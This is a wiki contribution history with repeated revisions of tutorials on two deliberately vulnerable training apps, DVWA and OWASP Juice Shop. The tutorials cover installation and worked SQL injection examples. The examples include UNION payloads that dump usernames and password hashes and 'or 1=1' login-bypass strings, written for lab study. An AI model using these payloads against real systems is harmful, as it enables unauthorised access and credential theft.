Elvis Wiki - User contributions [en]

DVWA

2021-12-21T22:04:36Z

CPodpera:

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability.
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
*If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
**''% 'Or 0 = 0 union select null, user () #'' 
**''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
*To display all tables of the information schema, you must enter the following command in the search field. 
**''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
*We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
**''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
**''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
**''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:DVWA hashpassword.PNG|500px|center]]

[[Category:Documentation]]

DVWA

2021-12-21T21:58:50Z

CPodpera:

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability.
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
*If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
**''% 'Or 0 = 0 union select null, user () #'' 
**''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
*To display all tables of the information schema, you must enter the following command in the search field. 
**''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
*We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
**''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
**''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
**''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:JackTheRipper2.PNG|500px|center]]

[[Category:Documentation]]

DVWA

2021-12-21T21:55:29Z

CPodpera:

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability.
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
*If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
**''% 'Or 0 = 0 union select null, user () #'' 
**''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
*To display all tables of the information schema, you must enter the following command in the search field. 
**''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
*We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
**''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
**''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
**''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:jackTheRipper.PNG|500px|center]]

[[Category:Documentation]]

File:DVWA hashpassword.PNG

2021-12-21T21:53:57Z

CPodpera: CPodpera uploaded a new version of File:DVWA hashpassword.PNG

OWASP Juice Shop

2021-12-21T20:32:15Z

CPodpera: updated installation process

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
*The downloaded file will be extracted to any path.
*To install all necessary dependencies you first need to run the command ''"npm install"''
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''
[[File:JS Terminal.PNG|500px|center]]
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
*'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
*'''or 1 = 1 and email not like ('% admin% '); --'' 
*'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

[[Category:Documentation]]